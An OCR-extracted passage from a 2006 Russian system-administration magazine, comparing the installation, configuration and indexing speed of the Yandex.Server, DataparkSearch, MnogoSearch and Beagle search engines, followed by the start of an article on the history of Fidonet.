поративные, предназначенные для ра-боты с множеством клиентов и группой ресурсов. К ним можно отнести рас-сматриваемые далее движки Yandex.Server, DataparkSearch, Mnogosearch, ASPseek и htdig. Вторые – пользова-тельские, предназначенные для об-легчения поиска информации на ком-пьютере пользователя. В связи с тем, что пользовательские движки поиско-вых машин под ОС Linux плохо освеще-ны в Интернете, и для полноты карти-ны данного обзора я также рассмотрю движок Beagle (как наиболее «сильно-го» представителя группы).

Yandex.ServerИзвестный многим движок поисковой машины Яндекс – коммерческий про-ект. Для ознакомления существует shareware-версия движка, которую мы и рассмотрим. К сожалению, пробная версия во многом ограничена.

Установить движок можно под опе-рационные системы FreeBSD, Linux, Solaris, Windows. По заявлениям разработчиков, при заказе версии Professional возможно портирование движка практически под любую плат-форму заказчика.

Рассмотрим установку движка под Linux из tgz-архива. Скопируем и ра-зархивируем Яndex.Server Standard.

Тестируем движки поисковых машин

Иван Максимов

Большинство из вас каждый день пользуется поисковыми машинами в Интернете. Какие они изнутри? Чем они отличаются?

81№8, август 2006

web

Распаковывать архив лучше в корень диска:

Движок сконфигурирован на работу в директори-ях /etc/rc.d/inid.d, /usr/local/yandex и /usr/local/sbin/yandex. Если вам необходимо расположить все файлы в удобном для вас месте, отредактируйте параметры рабочих ди-ректорий WORK_DIR и YANDEX в файле yandex.sh. Пер-вое, что сразу бросается в глаза после установки, – от-сутствие исходных кодов столь привычных пользовате-лям открытых систем. Заглянем в файл конфигурации yandex.cfg.dist (расположенный в папке движка). Все ком-ментарии на русском языке, никаких проблем возникнуть не должно. Файл разделен на две секции server (парамет-ры работы серверной части движка) и collection (парамет-ры индексирования).

Для начала работы движка необходимо создать файл yandex.cfg из файла шаблона yandex.cfg.dist и отредакти-ровать параметры в секции collection: StartUrls (индексиру-емый ресурс) и IndexLog (запись результатов индексиро-вания), а в секции server – Serverlog (запись отчета работы сервера). По умолчанию многие подсекции закомментиро-ваны, допустим, для индексации text/plain формата нужно удалить в подсекции DocFormat символы  (или за-комментировать их символом #).

Добавим форму поиска на заглавную страницу нашего apach сервера (см. рис. 1):

HOST – имя ресурса с Yandex-сервером. Теперь поиск до-ступен для пользователей нашей локальной сети.

Итак, программа настроена, запустим скрипт «yandex.sh start» и зайдем на ресурс http://localhost:17000/admin (см. рис. 2). Перед нами появится веб-интерфейс, состоящий всего из трех основных функций: запуска ин-дексирующего «паука», открытия доступа пользовате-лям к поисковый машине и остановки Yandex.Server. Ес-ли все настройки были выполнены правильно, можно на-чать индексирование и запускать поиск для пользовате-лей (см. рис. 3).

Хотелось бы отметить, что проблем и неудобств в кон-фигурировании движка не возникало. Простая настройка и качественная документация – это несомненно огромные плюсы. Также к преимуществам относится высокая ско-рость движка: время индексации и поиска осуществляет-ся в очень короткое время, но об этом позже. Неприятным моментом оказалось то, что в shareware-версии достаточ-но много ограничений, например, нет возможности редак-тировать файл результатов поиска, как и добавление до-полнительных модулей (парсетов) для обработки иных ти-пов файлов (doc, xls, rtf и другие).

Так как в shareware-версия движка нет возможности ин-дексировать форматы, отличные от HTML и text plain для проведения тестирования по скоростным характеристикам и получения «чисел», все xls-, doc-, rtf-документы были кон-

вертированы пакетами catdoc и unrtf в формат txt. Итак, ин-дексирование 2000 документов (text/plain) объемом 170 Мб заняло чуть менее 2 минут. Очень впечатляющая скорость, но есть подозрения, что обработка тех же файлов в их ис-ходных форматах (xls, doc, rtf их объем в 5-7 раз больше) займет время, пропорциональное размеру файлов, плюс время работы внешнего модуля (парсета). Время поиска по базе также феноменально – менее секунды.

DataparkSearchВ статье «Возможности поискового движка DataparkSearch» [8] мы уже рассматривали установку поисковой маши-ны, поэтому я коснусь лишь новых моментов, появивших-ся в движке. Последняя стабильная версия (на момент на-писания статьи) 4.40.1, версия снапшота 4.41 от 16.07.2006, как уже было отмечено, обновление и исправление движ-ка происходят достаточно оперативно. Какие интересные и полезные функции были добавлены после версии 4.38? Была улучшена работа движка в режиме cache, добав-лена возможность сборки модуля mod_dpsearch для веб-сервера Apache без пересборки всего движка. Послед-нее нововведение было сделано в связи с тем, что мно-гие пользователи вначале конфигурируют поисковый дви-жок для работы без модуля, а позже, желая достичь мак-симальной производительности (или просто «посмотреть, как это работает»), пересобирают весь движок для полу-чения mod_dpsearch. На данный момент некоторые новов-ведения не вошли в официальную документацию движка, поэтому ниже будет приведен пример компиляции модуля для веб-сервера Apache. Раз уж зашел разговор о доку-ментации, отмечу, что на веб-сайте проекта выложена до-кументация по версии движка 4.39, в самом же дистрибу-тиве находится обновленная для последней версии 4.41, так что будьте внимательны.

Итак, чем же достигается большая скорость работы движка за счет данного модуля? mod_dpsearch совмещает

gzip -d name.tgz /tar -xvf name.tar /

<FORM METHOD=GET ACTION="http://HOST:17000/"><INPUT TYPE="text" NAME="text" VALUE=""><INPUT TYPE="submit" VALUE="Search"></FORM>

Рисунок 1. Примеры форм поисковых движков

Рисунок 2. Администрирование Yandex.Server

82

web

в себе функции searchd и search.cgi. Первый хранит в памя-ти некоторые загруженные данные, без него движок каждый раз при запросах будет читать информацию с диска. Вто-рой файл – скрипт поиска и выборки информации из СУБД, как правило, каждый раз загружается с жесткого диска. Мо-дуль хранит большинство данных в памяти, а не подгружает постоянно с жесткого диска нужную информацию, за счет этого и достигается большая эффективность движка. Рас-смотрим теперь конфигурирование.

После распаковки движка запустим конфигуратор не скриптом мастером установки (install.pl), а иначе:

Далее компиляция происходит стандартными коман-дами «make && make install». Новоиспеченный откомпили-рованный модуль будет располагаться вместе с осталь-ными модулями веб-сервера в папке /etc/httpd/modules/ (или /etc/httpd/libexec/). Теперь добавим в файл конфигура-ции apach сервера (скорее всего /etc/httpd/conf/httpd.conf) информацию о модуле:

Как вы видите, конфигурационные файлы – это копии файлов без приставки «mod», расположенных в директо-рии etc движка, достаточно просто скопировать их и все, модуль готов к работе. Так как примеры конфигурацион-ных файлов были описаны в предыдущей статье, не буду

к ним возвращаться, также напомню, что не стоит забывать про штатную до-кументацию движка.

Запустим веб-сервер командой «service httpd start», обратимся по адре-су localhost/search, перед нами появится форма поиска движка DataparkSearch.

Отмечу, что сами разработчики ре-комендуют для наибольшей эффектив-ности работы комплекса использовать именно mod_search совместно с режи-мом хранения cache.

В предыдущей статье уже были представлены скоростные характерис-тики движка, но для примерного сравне-ния все же повторюсь, индексирование примерно 2000 файлов (txt, html, doc, xls, rtf) в режиме хранения данных cache за-нимает примерно 30 минут. При добав-

лении модуля mod_search скорость поиска практически не выросла, около одной секунды. Возможно, при большем количестве данных и построении сложных поисковых за-просов эффективность от использования модуля для сер-вера Apache будет более наглядна.

MnogoSearchMnogoSearch[3] – это многим известный и распростра-ненный движок, входящий в комплект некоторых дистри-бутивов Linux. Возможна установка движка под Windows и Linux/BSD-платформы в «связке» с различными SQL СУБД (MS Access, MySQL, PostgreSQL, Interbase, MS SQL, Oracle и другие).

При первом взгляде на MnogoSearch сразу бросается в глаза схожесть с его клоном – DataparkSearch, но это не сов-сем так. Ознакомившись с функционалом и настройками данной поисковой машины, вы в этом убедитесь.

Для работы понадобится MySQL и веб-сервер Apache. После распаковки архива движка вы видите уже знакомый нам файл install.pl (мастер конфигурирования), запустим его и ответим на все необходимые вопросы, такие как выбор пути установки движка, SQL СУБД и другие.

Далее откомпилируем движок стандартными ко-мандами «make && make install». Перейдем в дирректо-рию с установленным движком. Первое, что можно за-метить, – практически идентичность папок и файлов с DataparkSearch, даже при беглом осмотре конфигураци-онных файлов (indexer.conf и search.htm) это мнение уси-ливается. Сразу хочу предупредить пользователей, рабо-тающих с DataparkSearch, не следует копировать конфи-гурационные файлы в MnogoSearch, при кажущейся од-нотипности движки очень разные. Конечно, из экспери-мента можно сделать так – переписывать, переконфигури-ровать и добавлять информации придется много, намно-го проще взять готовые шаблоны файлов MnogoSearch и исправить параметры под свои задачи. Но мы отвлек-лись, продолжим настройку.

Создадим базу данных в MySQL командой:

# ./configure –enable-apachecacheonly

# Директивы загрузкиLoadModule dpsearch_module modules/mod_dpsearch.soAddModule mod_dpsearch.c

# Конфигурационные файлы модуля<Ifmodule mod_dpsearch.c>DataparkSearchdConf /usr/local/dpsearch/etc/modsearchd.conf <Location /search> SetHandler dpsearch DataparkSearchTemplate ↵ /usr/local/dpsearch/etc/modsearch.htm </Location> <Location /storedoc> SetHandler dpstoredoc DataparkStoredocTemplate ↵ /usr/local/dpsearch/etc/modstoredoc.htm </Location></IfModule>

sh$ mysqladmin create search

Рисунок 3. Пример результата поиска Yandex.Server

83№8, август 2006

web

Если у вас не создан пользователь в MySQL, то создай-те его:

Для минимальной конфигурации движка необходимо indexer.conf-dist (шаблон, находящийся в папке etc относи-тельно движка) переименовать в indexer.conf и изменить не-которые параметры. Первое и необходимое – указываем используемую СУБД, имя и пароль пользователя в MySQL, название базы данных и используемый режим хранения данных (о dpmode будет рассказано позже).

Так как мы будем индексировать txt-, html-, doc-, xls-, rtf-файлы, то закомментируйте строки, запрещающие их индексацию:

Также необходимо расскомментировать три строки, от-вечающие за конвертацию офисных форматов в формат text, понятный MnogoSearch:

И последнее – укажем индексируемый ресурс:

Конфигурационный файл не приведен здесь целиком из-за большего объема, но если вы желаете достичь боль-шей функциональности «паука», реко-мендуется ознакомиться с сопроводи-тельной документацией.

Теперь подробнее о режимах dpmode. В MnogoSearch с версии 3.2.16 отклю-чена поддержка режима cache в свя-зи с найденными там ошибками, дан-ный режим был заменен на blob. Имен-но его и рекомендуют использовать раз-работчики, но если верить документа-ции, движок в данном режиме не рабо-тает с СУБД Interbase/Firebird и SQLite. На мой взгляд, это упущение, так как Firebird становится все более и более распространенной базой данных. Ис-пользование более медленного режима dpmode – multi сильно тормозит движок, но позволяет использовать его с Firebird. Очень хочется надеяться, что разработ-чики решат данную задачу.

Должен напомнить, что пакеты catdoc и rthc – внешние программы, их нужно

установить до начала индексации. Если необходимо обра-батывать иные типы файлов, то нужно установить и другие парсеты (пакеты), более подробно мы говорили о них в пре-дыдущей статье, поэтому не будем рассматривать этот воп-рос (информацию с некоторыми примерами о парсетах мож-но также найти в документации).

Второй файл конфигурации – это search.htm, состо-ит из двух основных блоков, первый содержит данные для скрипта search.cgi, второй – дизайн шаблона выво-да информации. Необходимо изменить параметр DBAddr, он должен совпадать с таким же в indexer.conf

Если указанные параметры будут иными, движок вмес-то вывода искомой информации сообщит вам о соответс-твующей ошибке. Это наиболее распространенная ошиб-ка при конфигурировании движка, поэтому будьте внима-тельны.

Скопируем search.cgi из директории bin движка в дирек-торию cgi-bin веб-сервера и пропишем форму для вызова скрипта в index.shtml:

Минимальное конфигурирование выполнено, можно со-здать SQL-таблицы и начать индексацию. Команда:

создаст все необходимые записи в MySQL, если появи-лись сообщения об ошибке – внимательно посмотрите вы-ходную информацию выше, чаще всего это ошибки об от-сутствии доступа.

sh$mysql --user=root mysqlmysql> GRANT ALL PRIVILEGES ON *.* TO пользователь@localhostIDENTIFIED BY 'пароль' WITH GRANT OPTION;exit

DBAddr mysql://пользователь:пароль@localhost/search/ ↵ ?dbmode=режим

#Disallow *.tex *.texi *.xls *.doc *.texinfo#Disallow *.rtf *.pdf *.cdf *.ps

Mime application/msword "text/plain; ↵ charset=utf-8" "catdoc -a -dutf-8 $1"Mime application/vnd.ms-excel text/plain "xls2csv $1"Mime "text/rtf*" text/html ↵ "rthc --use-stdout $1 2>/dev/null"

Server ftp://192.168.0.11/

DBAddr mysql://пользователь:пароль@localhost/searchmn/ ↵ ?dbmode=режим

<FORM METHOD=GET ACTION="/cgi-bin/search.cgi"><INPUT TYPE="text" NAME="q" VALUE=""><INPUT TYPE="submit" VALUE="Search"></FORM>

./indexer -Ecreate

Рисунок 4. Пример результата поиска MnogoSearch

84

web

Для начала индексации просто запустите indexer, если вы хотите проиндексировать небольшое количество доку-ментов, то запустите «indexer -n N», где N количество фай-лов или с параметром «indexer -с N», где N время работы «паука» в секундах.

Если используется режим dpmode – blob, то по окончании работы «паука» нужно выполнить команду indexer – Eblob.

Теперь о скоростных характеристиках. Индексиру-ются те же 2000 файлов, время индексации в режиме dpmode-blob занимает чуть менее 20 минут. Время поис-ка по базе около секунды. Пример результатов поиска MnogoSearch смотрите на рис. 4.

BeagleПоисковая машина хорошо знакома пользователям ОС SUSE Linux от Novell. Именно в этот дистрибутив включен по умолчанию «поисковик». Но это не значит, что Beagle [4] нельзя использовать в других Linux-дистрибутивах, на офи-циальном сайте проекта имеются рекомендации по ус-тановке движка под Debian, Mandrake (известный теперь как Mandriva), Gentoo, Ubuntu и другие. Замечу, что если вы пользуетесь SUSE Linux, то без особого труда установите движок. А пользователям других дистрибутивов Linux при-дется устанавливать большое количество пакетов. Итак, ска-чав данную поисковую машину, откомпилируем ее стандар-тными командами «configure, make && make install» и присту-пим к ее конфигурированию. Настройка Beagle возможна как в графическом режиме, так и в консоли. Запустим про-

грамму конфигу-рирования движка beagle-settings, пе-ред нами появится графический интер-фейс (см. рис. 5) настройки: «горя-чей» клавиши для вызова поиска, па-пок для индекса-ции и возможности назначения исклю-чений, думаю боль-шинство пользова-телей легко справ-ляется с этой за-

дачей. Настройка из консоли осуществляется утилитой beagle-config, немного сложнее, чем в графическом режиме, но опытные пользователи ОС Linux так же быстро разберут-ся со всеми параметрами. Рассмотрим пару примеров:

где indexing – необходимый конфигурационный файл, AddRoot – секция и последний параметр – путь к индекси-руемой папке.

В примере мы добавляем одно исключение – на за-прет индексации файлов «file.xxx». Некоторые примеры и полный синтаксис команд вы можете найти в сопроводи-тельной документации движка и быстрой справке по отде-льным утилитам.

Пользователи, предпочитающие все настраивать вруч-ную и не доверяющие всевозможным мастерам настрой-ки, могут самостоятельно отредактировать конфигураци-онные файлы Beagle (их всего пять: indexing.xml, daemon.xml, searching.xml, networking.xml и webservices.xml), рас-положенные в папке configure движка. Не стану приво-дить примеры всех этих файлов, остановлюсь только на indexing.xml для ознакомления синтаксиса и одновре-менно проверим, занесла ли утилита beagle-config два на-ших параметра:

В секции Root указывают индексируемые директории, тогда как Excludes содержит правила запретов индексиро-вания (путь к директории или название файла). Разобрать-ся в синтаксисе не так и сложно.

Минимальное конфигурирование выполнено, для на-чала индексации просто запустим демона beagled. В папке

beagle-config indexing AddRoot /mnt/disk2

beagle-config indexing AddExclude pattern file.xxx

<?xml version="1.0" encoding="utf-8"?><IndexingConfig xmlns:xsd="http://www.w3.org/2001/XMLSchema" ↵ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <Roots> <Root>/mnt/disk2</Root> </Roots> <IndexHomeDir>true</IndexHomeDir> <Excludes> <ExcludeItem Type="Path" Value="/mnt/disk3/DENY" /> <ExcludeItem Type="Pattern" Value="file.xxx" /> </Excludes></IndexingConfig>

О движках, не вошедших в обзор......Но весьма интересных. В статье [8] я упо-минал некоторые поисковые машины, та-кие как Wordindex [5], ASPseek [6], htdig [7] и другие. Из перечисленных, но не вошед-ших в сегодняшний обзор, стоит выделить ASPseek и hidig. Почему именно они?

ASPseek уже успел устареть, послед-няя официальная версия движка вышла в 2002 году, но на форуме сайта можно встретить энтузиастов, которые помогают с поддержкой движка. Официальный ре-лиз версии 1.2.10 достаточно проблема-

тично поставить на новые дистрибутивы Linux и *BSD-систем, одно из затруднений – ошибки при компиляции в gcc3 (и особенно 4 версии), но обратившись на форум мож-но найти ссылки на измененные версии движка, которые вполне работоспособны. Как мы видим, ASPseek еще использует-ся и дорабатывается, несмотря на отсутс-твие официальной поддержки. Хотелось бы напомнить, что стоит «доверять, но прове-рять» неофициальные снапшоты любого программного обеспечения.

Htdig – движок поисковой машины ос-

Рисунок 5. Графический интерфейс настройки Beagle

тается все еще популярным (для обра-ботки небольших объемов данных), не-смотря на то, что последний официаль-ный релиз был в 2004 году. Хорошим при-мером работы движка, можно считать то, что он помогает обеспечивать рабо-ту достаточно популярного и многим из-вестного портала – www.opennet.ru. Как можно увидеть на странице-путеводите-ле (http://www.opennet.ru/guide.shtml), htdig хорошо справляется с объемом данных в 1,5 Гб, ну а о качестве работы движка можно судить там же.

85№8, август 2006

web

log можно найти результаты индекси-рования, файлы формируются в таком виде: 2006-07-02-13-02-04-IndexHelper, а не единым log-файлом. После окон-чания индексации приступаем к поиску информации. Возможен поиск по базе как в графическом режиме, утилитой beagle-search (см. рис. 6), так и в кон-соли, программой beagle-query.

В комплект поставки Beagle вхо-дит достаточно много вспомогатель-ных утилит, например, beagle-index-info выводит информацию о количестве и типе проиндексированных докумен-тов. С помощью Beagle-index-url мож-но задать веб-ресурс для индексации. Beagle-info выводит исчерпывающую информацию о демоне beagle, соб-ранной информации, установленных фильтрах и так далее.

Должен заметить, что возможность конфигурирования и поиска из консо-ли позволяет устанавливать данный движок на удаленный шелл и легко ис-пользовать его в работе, при этом не задействуя сервисов требующих пра-ва суперпользователя (root). Время ин-дексации примерно 2000 тысяч доку-ментов равна 23 минутам. Огорчило только время поиска по базе, простые запросы beagle обрабатывает 3-4 се-кунды, но не стоит забывать, что дви-жок позиционируется как пользова-тельский.

ИтогиЯ не претендую на то, что все движ-ки были идеально сконфигурирова-ны, в каждом конкретном случае мож-но добиться более впечатляющих ре-зультатов (можно «выиграть» в скоро-сти поиска по СУБД простой оптими-

MnogoSearch– полукоммерческий проект с богатым функционалом, есть выбор версий движков и платформ. Дви-жок давно уже успел себя зарекомендо-вать. Индексация документов происхо-дит достаточно быстро, но время поис-ка по базе при больших объемах данных и сложных запросах бывает очень боль-шое. Не хватает движку документации на русском языке, так как неискушенно-му пользователю разбираться в доста-точно сложных поисковых машинах все же проще на родном языке.

Beagle – простой пользователь-ский движок, предназначенный для облегчения поиска информации на локальном компьютере. Движок хоро-шо справляется с задачами, на кото-рые он ориентирован. Немного огор-чает время поиска по базе и некото-рые проблемы при индексации доку-ментов MS Word (doc), о чем нас пре-дупреждают разработчики.

Примечательно, что все три корпо-ративные поисковые машины Yandex, DataparkSearch, MnogoSearch– рос-сийские проекты, причем выбор обзо-ра был сделан не целенаправленно по данному критерию, а из соображений «какие хорошие проекты рекоменду-ют на просторах сети Интернет?». Ос-тается только порадоваться за наших разработчиков, движки развиваются и поддерживаются.

1. Yandex – http://company.yandex.ru /technology/products/yandex-server.xml.

2. DataparkSearch – http://www.datapark search.org.

3. MnogoSearch – http://www.mnogosearch.ru.4. Beagle – http://beagle-project.org.5. Wordindex – http://wordindex.sourceforge.net.6. ASPseek – http://www.aspseek.org.7. Htdig – http://htdig.org.8. Максимов И. Возможности поискового

движка DataparkSearch. //Системный ад-министратор, №5, май 2006 г. – С. 80-84.

Yandex.Server DataparkSearch MnogoSearch Beagle

Кросплатформенность Да Нет Да Нет

Русскоязычная документация Да Да Нет Нет

Многоязыковая поддержка индексации Да Да Да Да

Лицензия Windows Shareware – Shareware –

Лицензия *nix Shareware GNU GNU MIT

Время индексации < 2 мин.* < 30 мин. < 20 мин. < 25 мин.

Время поиска < 1 сек. < 1 сек. 1 сек. 2-3 сек.

Сравнительные характеристики поисковых движков (* напомню, что все файлы были переведены из форматов xls, doc, rtf в формат text/plain)

Рисунок 6. Графический интерфейс утилиты beagle-search

зацией базы данных в MySQL). К сожа-лению, охватить все стороны выбран-ных движков в одной статье просто не-возможно. Документация ко всем кор-поративным поисковым машинам со-ставляет сотни страниц, простое чте-ние этой информации займет несколь-ко дней. Но все же можно сделать не-которые выводы из полученных дан-ных (см. таблицу).

Yandex.Server – из рассмотренных движков явный фаворит, время индек-сации и поиска минимальное. Отлич-ная документация, поддержка, крос-сплатформенность, мощный функци-онал – большие плюсы. Движок мож-но рекомендовать для крупных и хоро-шо финансируемых проектов. Компро-мисс, конечно, есть всегда, существует несколько редакций движка, но полная версия движка все же дорога, по дан-ному поводу на форуме Yandex уже давно идут дебаты.

DataparkSearch – полностью сво-бодный проект, давно уже перестав-ший быть клоном MnogoSearch. Основ-ное отличие и плюс – это mod_dpsearch для веб-сервера Apache, за счет него движок очень быстро обрабатывает при поиске большие объемы данных.

86

ретроспектива

История сети1984 год. Компьютеры уже перестали быть такими громоздкими, однако сеть ARPAnet ещё не успела опутать земной шар глобальной виртуальной «паути-ной» и превратиться в Интернет. Это будет потом, а пока немногочислен-ные пользователи компьютеров об-мениваются друг с другом информа-цией и программным обеспечением путем BBS. Напомню, BBS представ-ляли собой электронные доски объ-явлений, доступ к которым осущест-влялся посредством модема и теле-фонной линии.

В это время в Америке живут два друга-компьютерщика: Том Дженнингс (Thomas Jennings) и Джон Мэдилл (John Madill). Поскольку Том находил-ся в Сан-Франциско, а Джон – в Балти-море, их общение сводилось главным

образом к приватной переписке с по-мощью BBS. На дозвон по нужным но-мерам и работу в терминалах уходило огромное количество времени, и Том, являясь неплохим программистом, на-писал программу для автоматизации этого процесса. Утилита сама дозва-нивалась до электронных досок объяв-лений, отправляла письма и скачива-ла поступившие на адрес пользовате-ля файлы. Программа эта была назва-на создателем не иначе как FIDO, что впоследствии вызовет массу споров: кто-то утверждал, что так звали соба-ку Дженнингса (Фидо – такая же рас-пространенная в Соединенных Штатах кличка собак, как у нас Рекс или Ша-рик), другие говорили, что не было у не-го никакого пса вообще. В итоге ока-залось, что Том взял название из пер-вого попавшегося ему на глаза слова,

написанного на приклеенном к мони-тору стикере. Забегая вперед, скажу, что символом сети Fidonet стала все-таки именно собака, сжимающая в зу-бах компьютерную дискету.

Следующие версии программы уже базировались на пакетной системе пе-редачи данных, что многократно повы-шало скорость работы. В итоге эта уни-кальная утилита привлекла внимание и стала весьма популярной. Пользова-тели программы Fido и положили нача-ло сети, получившей простое и логич-ное название – Fidonet.

Для подключения к сети достаточ-но было всего лишь установить на ком-пьютер программу и написать заявку Дженнингсу. Использование Fidonet было бесплатным; оплачивались только расходы на телефонную связь. На протяжении всего периода своего

Сеть друзей: история Fidonet

Илья Александров

В тебе мы находим пpизванье сyдьбы,С тобой yзнаем обо всем, от и до,

Чем дальше, тем больше становишься тыСынами своими; ты бог наш, ФИДО!

Гимн российского Fidonet

Фидо… Для кого-то это слово – пустой звук, для многих из вас – часть жизни, пусть, быть может, и прошлой. Но история первого в России компьютерного сообщества будет интересна каждому.

87№8, август 2006


существования Фидо была и остаётся некоммерческой сетью.

Количество пользователей Fidonet постоянно росло. Так, если в 1987 го-ду их было всего 2,5 тысячи, то к 1992 году эта цифра увеличилась до 16 ты-сяч. Одновременно с увеличением ко-личества пользователей росли и воз-можности самой сети. Появилась иден-тификация каждого отдельного учас-тника Фидо, возможность отправлять сообщения и файлы сразу нескольким адресатам.

В 1985 году группа программистов из Далласа создала протокол echomail.

До этого момента сеть использова-лась исключительно для личной пере-писки посредством протокола netmail – фидошного аналога e-mail. С исполь-зованием echomail появилась возмож-ность создания тематических конфе-ренций (также именуемых «эхо-кон-ференциями»): человек отправляет сообщение, например, в конферен-цию US.FIDO, и его письмо пересыла-ется всем, кто на неё подписан. Эти тематические конференции и состав-ляют основу Фидо, в них таится сек-рет ее успеха.

В это же время сеть «вырвалась» из США и проникла в самые разные точки земного шара, включая Австра-лию и Южную Азию. 1990 год ознаме-новался появлением первого «фидош-ника» на просторах СССР.

Еще одним значимым моментом в истории развития сети стала публи-кация FidoPolicy. Этот свод правил, ко-торый можно назвать «конституцией» Fidonet, был выпущен для поддержания порядка в сети. Правда, с документом были согласны не все. Том Дженнингс, будучи по идеологическим убеждениям анархистом, прокомментировал выход FidoPolicy коротко, но емко: «Old smelly crock of shit» («Старый дурно пахнущий кувшин с отходами»). Именно устав Фи-до стал главной причиной ухода из се-ти ее создателя. Однако стремитель-но разраставшаяся Fidonet завоёвы-вала всё большую популярность, и по-теря Дженнингса, ныне являющегося сотрудником интернет-провайдера, для неё уже мало что значила.

Иерархия сетиFidonet обладает иерархической струк-турой. На каждом уровне иерархии есть свой координатор – человек, сле-

дящий за порядком и развитием се-ти, самым главным из которых явля-ется интернациональный координа-тор. Принятые им решения может от-менить только совет координаторов зон. Теперь подробнее об уровнях ие-рархии.

Наиболее крупная единица в деле-нии Fido – «зона». Всего существует шесть зон, каждая из которых охваты-вает, как правило, один континент. Тер-ритория бывшего СССР вместе с Ев-ропой относится ко второй зоне. Одно время для России хотели выделить от-дельную, седьмую зону, но дело до это-го так и не дошло (и, видимо, уже ни-когда не дойдет).

Зоны подразделяются на «регио-ны», охватывающие обычно отдельные страны. России отведен пятидесятый регион. Каждый регион состоит из «се-тей», адрес которых входит в адрес ре-гиона – то есть номер всех сетей в Рос-сии имеет вид «50ХХ».

В свою очередь сеть объединяет несколько «узлов» в одной географи-ческой области. Узел – это компьютер, осуществляющий прием почты от дру-гих узлов своей сети. Узел также на-зывается «нодой» (от англ. «node»). Владельца ноды, выделившего собс-твенный ПК и телефонную линию на благо Fidonet, называют «системным оператором» (сокращенно – сисопом). У каждого узла есть свои абоненты – пользователи, осуществляющие пе-реписку в Фидо. Абонентов называют «поинтами» (от англ. «point» – пункт, точка). Формально они не являются частью сети, хотя имеют такие же воз-можности, как и системные операторы. Но они не обязаны предоставлять свой телефон и компьютер для работы с Фи-до другим пользователям (вообще-то, сисопы также не обязаны, но делают это, причем совершенно безвозмезд-но; подобное поведение и стало одной из причин, по которой Fidonet стала на-зываться «сетью друзей»).

Зачем же нужно такое многоуров-невое административное деление? Это сделано для идентификации поль-зователей. Каждый поинт в Фидо име-ет свой уникальный, не меняющийся адрес в виде: «Зона:Сеть/Узел.Поинт». Например, из адреса 2:5030/219.8 сле-дует, что его владелец находится во второй зоне, в городе Санкт-Петербур-ге (для Москвы код сети – 5020), поль-

зуется услугами двести девятнадцато-го узла, на котором числится под циф-рой «8».

Программное обеспечениеПрограммное обеспечение для фи-дошника – больше, чем просто «софт». Это – набор для «выживания в сети».

Итак, для работы с Фидо требует-ся следующий набор программного обеспечения: Mail-клиент – устанавливает со-

единение с узлом и скачивает поч-ту, как личную (netmail), так и но-вые сообщения эхо-конференций, на которые подписан пользователь. Наиболее популярной из таких про-грамм является T-mail.

Эхо-процессор – обрабатыва-ет почту эхо-конференций. Распа-ковывает пакеты и распределяет их по группам.

Трекер – отвечает за обработку личной почты. Дело в том, что из-за специфичной для Fidonet доставки файлов (от одного узла к другому; причем письмо зачастую проходит путь среди разных регионов и зон) письма пакуются. Распаковка и яв-ляется основной задачей трекера.

Файл-эхо-процессор (также на-зываемый «файл-тоссером») – программа для работы в файл-эхах. Файловые эхо-конференции пред-ставляют собой аналог ftp, с помо-щью которых пользователи обме-ниваются нетекстовой информа-цией (ПО и прочее).

Том Дженнингс

88


Редактор – наверное, самая важ-ная программа. Посредством ре-дактора просматриваются полу-ченные письма и создаются новые. Безоговорочным лидером среди утилит такого рода и по-настояще-му культовой фидошной програм-мой является GoldEd.

Раньше все программы требовали долгой ручной настройки, что отпуги-вало многих неискушенных пользова-телей. Сейчас в Интернете можно най-ти самонастраивающиеся пакеты, для работы которых достаточно лишь за-

полнить поля, вроде имени и адреса в сети и т. д.

Фидо на просторах нашей родиныВ России сеть Fidonet появилась в 1990 году. Первым городом, где по-явилась сеть, стал Новосибирск. Ев-гений Чуприянов (в Фидо он извес-тен как Eric Fletcher) с помощью мо-дема Courier2400e совершил звонок на единственную тогда работавшую BBS в СССР – Kremlin BBS. Этот узел принадлежал Елене Тадеуш, которая в то время работа в советско-польском

компьютерном журнале. Свои статьи она отправляла прямыми звонками че-рез BBS, а в ответ получала уже свер-станные номера издания. Для других пользователей узел был бесполезен: на нем не было никакой общедоступ-ной информации. Первые програм-мы российские фидошники скачива-ли кто из Эстонии, кто из Чехии. Це-на на звонки в другие страны была ог-ромной, но это не останавливало ком-пьютерных энтузиастов.

Однако уже летом того же года в Но-восибирске появились две новые BBS: Morning Star и The Court of the Crimson King. На них хранилось программное обеспечение для подключения к Fidonet и соответствующие утилиты.

Со временем в регионе были обра-зованы первые сети: 5000/* и 5010/*. Чуть позже появилась сеть и в Москве. Первый московский фидошник – Алек-сей Забpодин, был поинтом у вышеупо-мянутого Евгения Чуприянова. Позже он создаст свой собственный узел.

После включения России в пяти-десятый регион на собрании систем-ных операторов были выбраны сете-вые и региональные координаторы. Одним из первых координаторов Рос-сийского региона «50» стал Пит Кви-тек, известный своим участием в ста-новлении кодировки 866 в качестве ос-новной для MS-DOS и модерировани-ем многих эхо-конференций.

Дальнейшее расширение Fidonet было весьма тривиальным: от первых пользователей о сети узнавали в дру-гих городах, подключались, а затем от-крывали новые узлы, о которых в свою очередь узнавали новые люди и т. д.

Первыми эхо-конференциями в Рос-сии стали SU.GENERAL и SU.HARD&SOFT. Особенно популярна была вторая, впос-ледствии разделившаяся на две: од-на была посвящена аппаратному обес-печению, а другая – программам.

Других виртуальных мест, где люди могли бы обсуждать эти темы, в то вре-мя попросту не существовало. Кстати, «SU» в начале названия конференции расшифровывалось как «South Ural» («Южный Урал»). Впрочем, для боль-шинства аббревиатура ничего кроме как «Soviet Union»(«Советский союз») значить не могла, посему никаких спо-ров не возникло.

Во всех первых эхах модерато-ром был Михаил Браво – этот чело-

Устав сети FidoPolicy

Официальный сайт Fidonet. Символ сети – собака, сжимающая в зубах дискету

89№8, август 2006


век, кстати, позже организовал самую первую в России Санкт-Петербургскую группу пользователей Linux (Linux User Group). Когда трафик в конференциях вследствие наплыва новых пользова-телей стал очень велик, на собрании системных операторов функции моде-ратора были распределены между не-сколькими людьми. В своё время Фи-до пользовались такие личности, как Леонид Каганов, Алекс Экслер, Сер-гей Лукьяненко, тогда еще мало кому известные и зачастую публиковавшие в сети свои рассказы.

Эхо-конференции«Эхи» – тематические конференции, в которых можно обсудить то или иное событие, получить совет, прочитать ин-тересные истории и т. д. Они были со-зданы по типу News-конференций се-ти Usenet, которая в нашей стране по-пулярности так и не получила.

У каждой конференции свои пра-вила: в некоторых правит бал стро-гое модерирование, в других же ца-рит вседозволенность. Тематика са-мая разная: существуют спортивные эхи, компьютерные, клубы любителей автомобилей и др.

